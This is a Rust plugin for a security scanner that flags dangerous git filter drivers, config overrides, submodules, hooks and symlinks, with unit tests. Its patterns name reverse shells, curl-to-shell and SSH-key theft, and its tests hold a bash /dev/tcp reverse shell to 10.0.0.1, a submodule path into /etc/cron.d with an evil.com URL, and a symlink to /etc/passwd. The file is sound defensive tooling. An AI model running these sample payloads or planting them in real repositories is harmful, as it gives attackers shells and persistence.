use crate::core::{Finding, Severity};
use crate::plugins::traits::{PluginError, PluginReport, ScanContext, ScanPhase, SecurityPlugin};
use async_trait::async_trait;
use lazy_static::lazy_static;
use regex::Regex;
use std::path::Path;
use std::time::Instant;
lazy_static! {
static ref GITATTRIBUTES_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)filter\s*=\s*\w+").unwrap(),
"Git filter driver configured in .gitattributes",
Severity::High,
"Git filter drivers (clean/smudge) execute arbitrary commands on checkout/commit. \
A malicious .gitattributes can achieve RCE by defining a filter that runs attacker code. CWE-78.",
),
(
Regex::new(r"(?i)diff\s*=\s*\w+").unwrap(),
"Git custom diff driver in .gitattributes",
Severity::Medium,
"Custom diff drivers can execute commands when running git diff.",
),
(
Regex::new(r"(?i)merge\s*=\s*\w+").unwrap(),
"Git custom merge driver in .gitattributes",
Severity::Medium,
"Custom merge drivers can execute commands during merge operations.",
),
];
static ref GITCONFIG_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)\[core\]").unwrap(),
"Git core configuration section",
Severity::Low,
"Review [core] section for dangerous options like fsmonitor, hooksPath, or sshCommand.",
),
(
Regex::new(r"(?i)fsmonitor\s*=").unwrap(),
"Git fsmonitor hook configured",
Severity::Critical,
"core.fsmonitor runs a command on every git status/diff. This is a persistent RCE vector. CWE-78.",
),
(
Regex::new(r"(?i)hooksPath\s*=").unwrap(),
"Git hooksPath override",
Severity::High,
"core.hooksPath redirects git hooks to a custom directory. An attacker can redirect to malicious hooks.",
),
(
Regex::new(r"(?i)sshCommand\s*=").unwrap(),
"Git sshCommand override",
Severity::High,
"core.sshCommand overrides the SSH client for git operations. Can be used for command injection. CWE-78.",
),
(
Regex::new(r"(?i)pager\s*=").unwrap(),
"Git pager override",
Severity::Medium,
"core.pager runs a command for every paged git output. Can be set to a malicious command.",
),
(
Regex::new(r"(?i)\[credential\]").unwrap(),
"Git credential configuration",
Severity::High,
"Credential helpers can capture or redirect authentication tokens.",
),
(
Regex::new(r"(?i)helper\s*=\s*!").unwrap(),
"Git credential helper with shell execution",
Severity::Critical,
"Credential helper starting with ! executes a shell command. This achieves RCE on any git fetch/push. CWE-78.",
),
(
Regex::new(r"(?i)\[url\s+").unwrap(),
"Git URL rewrite rule",
Severity::High,
"URL rewrite rules (url.*.insteadOf) can redirect git operations to attacker-controlled servers.",
),
(
Regex::new(r"(?i)insteadOf\s*=").unwrap(),
"Git URL insteadOf redirect",
Severity::High,
"url.*.insteadOf rewrites URLs silently. Can redirect to attacker servers for MITM attacks.",
),
(
Regex::new(r"(?i)askpass\s*=").unwrap(),
"Git askpass override",
Severity::High,
"GIT_ASKPASS or core.askpass runs a command to obtain credentials. CWE-78.",
),
(
Regex::new(r"(?i)\[protocol\]").unwrap(),
"Git protocol configuration",
Severity::Medium,
"Protocol settings can enable insecure protocols or redirect traffic.",
),
];
static ref GITMODULES_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)url\s*=\s*https?://").unwrap(),
"Git submodule from unrecognized host",
Severity::High,
"Submodule URL points to an unrecognized host. Verify this is a trusted source.",
),
(
Regex::new(r"(?i)url\s*=\s*ssh://").unwrap(),
"Git submodule via SSH from unrecognized host",
Severity::High,
"SSH submodule from unrecognized host. SSH connections can be exploited via ProxyCommand.",
),
(
Regex::new(r"(?i)update\s*=\s*!").unwrap(),
"Git submodule update with shell execution",
Severity::Critical,
"submodule.*.update = !command achieves RCE on 'git submodule update'. CWE-78.",
),
(
Regex::new(r"(?i)path\s*=\s*\.\./").unwrap(),
"Git submodule path traversal",
Severity::Critical,
"Submodule path containing ../ can write outside the repo directory. CWE-22.",
),
(
Regex::new(r"(?i)url\s*=\s*-").unwrap(),
"Git submodule URL starting with dash (option injection)",
Severity::Critical,
"URL starting with - can inject command-line options into git clone. CVE-2018-17456.",
),
(
Regex::new(r"#.*update\s*=\s*!").unwrap(),
"Commented-out submodule RCE payload",
Severity::Medium,
"Commented-out submodule update with shell execution. The repo author documented or attempted an RCE payload.",
),
(
Regex::new(r"#.*path\s*=\s*\.\./").unwrap(),
"Commented-out submodule path traversal",
Severity::Medium,
"Commented-out path traversal in .gitmodules indicates malicious intent.",
),
];
static ref HOOK_FILE_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)(curl|wget)\s+.*\|\s*(ba)?sh").unwrap(),
"Hook downloads and executes remote code",
Severity::Critical,
"Git hook pipes downloaded content to shell. CWE-829.",
),
(
Regex::new(r"(?i)/dev/tcp/").unwrap(),
"Reverse shell in git hook",
Severity::Critical,
"Git hook contains a reverse shell pattern.",
),
(
Regex::new(r"(?i)(nc|ncat|netcat)\s+(-e|-c)").unwrap(),
"Netcat reverse shell in git hook",
Severity::Critical,
"Git hook uses netcat for reverse shell.",
),
(
Regex::new(r"(?i)base64\s+(--decode|-d)\s*\|").unwrap(),
"Encoded payload execution in git hook",
Severity::High,
"Git hook decodes and pipes base64 content — likely obfuscated malicious code.",
),
(
Regex::new(r"(?i)(\.ssh|authorized_keys|id_rsa)").unwrap(),
"SSH key manipulation in git hook",
Severity::Critical,
"Git hook accessing SSH keys or authorized_keys — potential persistence mechanism.",
),
(
Regex::new(r"(?i)(crontab|/etc/cron)").unwrap(),
"Cron manipulation in git hook",
Severity::Critical,
"Git hook modifying cron — establishes persistent scheduled execution.",
),
];
static ref SYMLINK_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)ln\s+-s[f]?\s+/(etc|root|home|var|proc|sys)").unwrap(),
"Symlink to sensitive system directory",
Severity::Critical,
"Creating symlinks to system directories can expose sensitive files on checkout. CWE-59.",
),
(
Regex::new(r"(?i)ln\s+-s[f]?\s+.*\.\./\.\./").unwrap(),
"Symlink with path traversal",
Severity::Critical,
"Path traversal symlink can escape the repository directory. CWE-22.",
),
(
Regex::new(r"(?i)ln\s+-s[f]?\s+.*(docker\.sock|\.aws/|\.kube/|\.ssh/)").unwrap(),
"Symlink targeting credentials or runtime sockets",
Severity::Critical,
"Symlink targeting Docker socket, cloud credentials, or SSH keys. CWE-59.",
),
];
}
pub struct DangerousFilesScanner;
impl Default for DangerousFilesScanner {
fn default() -> Self {
Self::new()
}
}
impl DangerousFilesScanner {
pub fn new() -> Self {
Self
}
fn detect_file_type(path: &Path) -> DangerousFileType {
let filename = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
let path_str = path.to_string_lossy();
if filename == ".gitattributes" {
return DangerousFileType::GitAttributes;
}
if filename == ".gitconfig" || filename == "config" && path_str.contains(".git/") {
return DangerousFileType::GitConfig;
}
if filename == ".gitmodules" {
return DangerousFileType::GitModules;
}
if path_str.contains("hooks/") {
let hook_names = [
"pre-commit",
"post-commit",
"pre-push",
"post-checkout",
"post-merge",
"pre-receive",
"post-receive",
"update",
"pre-rebase",
"prepare-commit-msg",
"commit-msg",
"applypatch-msg",
"pre-applypatch",
"post-applypatch",
];
if hook_names.contains(&filename) {
return DangerousFileType::GitHook;
}
}
if filename.ends_with(".sh") || filename.ends_with(".bash") {
return DangerousFileType::ShellScript;
}
DangerousFileType::NotDangerous
}
const TRUSTED_GIT_HOSTS: &'static [&'static str] = &[
"github.com",
"gitlab.com",
"bitbucket.org",
"kernel.org",
"git@github.com",
"git@gitlab.com",
"git@bitbucket.org",
];
fn apply_patterns(
path: &Path,
content: &str,
patterns: &[(Regex, &'static str, Severity, &'static str)],
findings: &mut Vec<Finding>,
) {
Self::apply_patterns_with_allowlist(path, content, patterns, &[], findings);
}
fn apply_patterns_with_allowlist(
path: &Path,
content: &str,
patterns: &[(Regex, &'static str, Severity, &'static str)],
allowlist: &[&str],
findings: &mut Vec<Finding>,
) {
for (line_num, line) in content.lines().enumerate() {
for (pattern, title, severity, description) in patterns.iter() {
if pattern.is_match(line) {
if !allowlist.is_empty() && allowlist.iter().any(|a| line.contains(a)) {
continue;
}
findings.push(
Finding::new(
format!("GITF-{:03}", findings.len() + 1),
title.to_string(),
*severity,
)
.with_file(path.to_path_buf())
.with_line((line_num + 1) as u32)
.with_evidence(line.trim().to_string())
.with_description(description.to_string()),
);
}
}
}
}
}
#[derive(Debug, PartialEq)]
enum DangerousFileType {
GitAttributes,
GitConfig,
GitModules,
GitHook,
ShellScript,
NotDangerous,
}
#[async_trait]
impl SecurityPlugin for DangerousFilesScanner {
fn name(&self) -> &str {
"dangerous-files"
}
fn version(&self) -> &str {
"0.1.0"
}
fn description(&self) -> &str {
"Detect dangerous git files, hooks, and symlink attacks"
}
fn scan_phase(&self) -> ScanPhase {
ScanPhase::All
}
async fn initialize(&mut self) -> Result<(), PluginError> {
Ok(())
}
async fn scan(&self, context: &ScanContext<'_>) -> Result<PluginReport, PluginError> {
let start = Instant::now();
let mut report = PluginReport::new(self.name().to_string());
let file_type = Self::detect_file_type(context.path);
if file_type == DangerousFileType::NotDangerous {
report.duration_ms = start.elapsed().as_millis() as u64;
return Ok(report);
}
if let Some(content) = context.file_content {
let content_str = String::from_utf8_lossy(content);
match file_type {
DangerousFileType::GitAttributes => {
Self::apply_patterns(
context.path,
&content_str,
&GITATTRIBUTES_PATTERNS,
&mut report.findings,
);
}
DangerousFileType::GitConfig => {
Self::apply_patterns(
context.path,
&content_str,
&GITCONFIG_PATTERNS,
&mut report.findings,
);
}
DangerousFileType::GitModules => {
Self::apply_patterns_with_allowlist(
context.path,
&content_str,
&GITMODULES_PATTERNS,
Self::TRUSTED_GIT_HOSTS,
&mut report.findings,
);
}
DangerousFileType::GitHook => {
Self::apply_patterns(
context.path,
&content_str,
&HOOK_FILE_PATTERNS,
&mut report.findings,
);
}
DangerousFileType::ShellScript => {
Self::apply_patterns(
context.path,
&content_str,
&SYMLINK_PATTERNS,
&mut report.findings,
);
}
DangerousFileType::NotDangerous => {}
}
if !report.findings.is_empty() {
report.scanned_files = 1;
}
}
report.duration_ms = start.elapsed().as_millis() as u64;
Ok(report)
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::plugins::traits::ScanContext;
use std::collections::HashMap;
#[tokio::test]
async fn test_gitattributes_filter() {
let scanner = DangerousFilesScanner::new();
let content = b"*.py filter=backdoor";
let context = ScanContext {
path: Path::new(".gitattributes"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("filter driver")));
}
#[tokio::test]
async fn test_gitconfig_fsmonitor() {
let scanner = DangerousFilesScanner::new();
let content = b"[core]\n fsmonitor = /tmp/evil.sh";
let context = ScanContext {
path: Path::new(".gitconfig"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("fsmonitor")));
}
#[tokio::test]
async fn test_gitmodules_path_traversal() {
let scanner = DangerousFilesScanner::new();
let content = b"[submodule \"evil\"]\n path = ../../etc/cron.d/backdoor\n url = https://evil.com/repo.git";
let context = ScanContext {
path: Path::new(".gitmodules"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("path traversal")));
}
#[tokio::test]
async fn test_hook_reverse_shell() {
let scanner = DangerousFilesScanner::new();
let content = b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
let context = ScanContext {
path: Path::new("hooks/post-checkout"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.severity == Severity::Critical));
}
#[tokio::test]
async fn test_symlink_attack() {
let scanner = DangerousFilesScanner::new();
let content = b"#!/bin/bash\nln -sf /etc/passwd passwd_link";
let context = ScanContext {
path: Path::new("setup.sh"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("symlink") || f.title.contains("Symlink")));
}
}